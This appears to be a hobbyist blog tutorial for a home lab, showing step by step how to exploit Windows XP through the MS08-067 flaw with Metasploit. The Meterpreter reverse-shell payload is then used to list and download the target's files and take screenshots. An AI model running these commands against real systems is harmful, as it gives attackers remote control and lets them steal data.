Your first and easiest Metasploit exploit of a Windows Xp box ( how to ) with Screenshots

After finally getting my head around how to install and set up Backtrack and Xp on virtual box with Bridged networking enabled ( so they each get there own ip address ). I started to dig around the web to find tutorials and help and a general place to start, it seemed the first place people started was cracking WEP passwords found on routers, after fun with that and finding really how easy it is i decided to move on.

I found next Metasploit and Meterpreter and heard of the all the things it could do and just how powerful it was, there is so much out there and for all the good of that I found my self shifting through lots of videos and tutorials that were ok, but just too complex for me I just wanted a simply step by step of something easy to dip my toes in.

After learning and investing a bit more time I have realised just how easy some of the Metasploit is and how bad XP is and simply to own.

Below follows the easiest Windows Xp computer hack I could do along with hopefully some decent screenshots. It also runs through some Meterpreter tools to get you started.

This tutorial assumes you have Backtrack up and running and a windows Xp sp2 box that is yours or that you have permission to hack and that both boxes are on the same network either virtually or RL

So here goes

Open up MSF either by opening terminal and entering ‘msf’ and hit ‘enter’

Type ‘use exploit/windows/smb/ms08_067_netapi’ hit ‘enter’

Type ‘set payload windows/meterpreter/reverse_tcp’ hit ‘enter’

Type ‘set lhost’ hit ‘enter’

Type ‘set rhost’ hit ‘enter’

The numbers above should be replaced with the Ip address of your Backtrack machine

Type ‘set rhost’ hit ‘enter’

The numbers above should be replaced with the Ip address of your Windows machine

Type ‘exploit’ hit ‘enter’


Give yourself a pat on the back as you now have Meterpreter session controlling the Windows Xp box

Now Type ‘help’ to see a list of possible commands

Each screen shot below shows a few individual commands that you can use with meterpreter, this list in not conclusive but it will give you a good place to start tinkering

Typing ‘pwd’ Shows where you are currently positioned within the windows system and ‘ls’ shows all the files in the directory

‘download’ followed by the folder name you wish will download that folder and all its files to the root directory of you Backtrack machine

Typing ‘screenshot’ grabs a screenshot (obviously) and saves and instantly shows the image on your machine

Well thats a good start , Theres plenty out there with the standard meterpreter package and even more with modules that you can insert along the way.

Any thoughts or questions or if you just get stuck leave a comment and i will help all i can.


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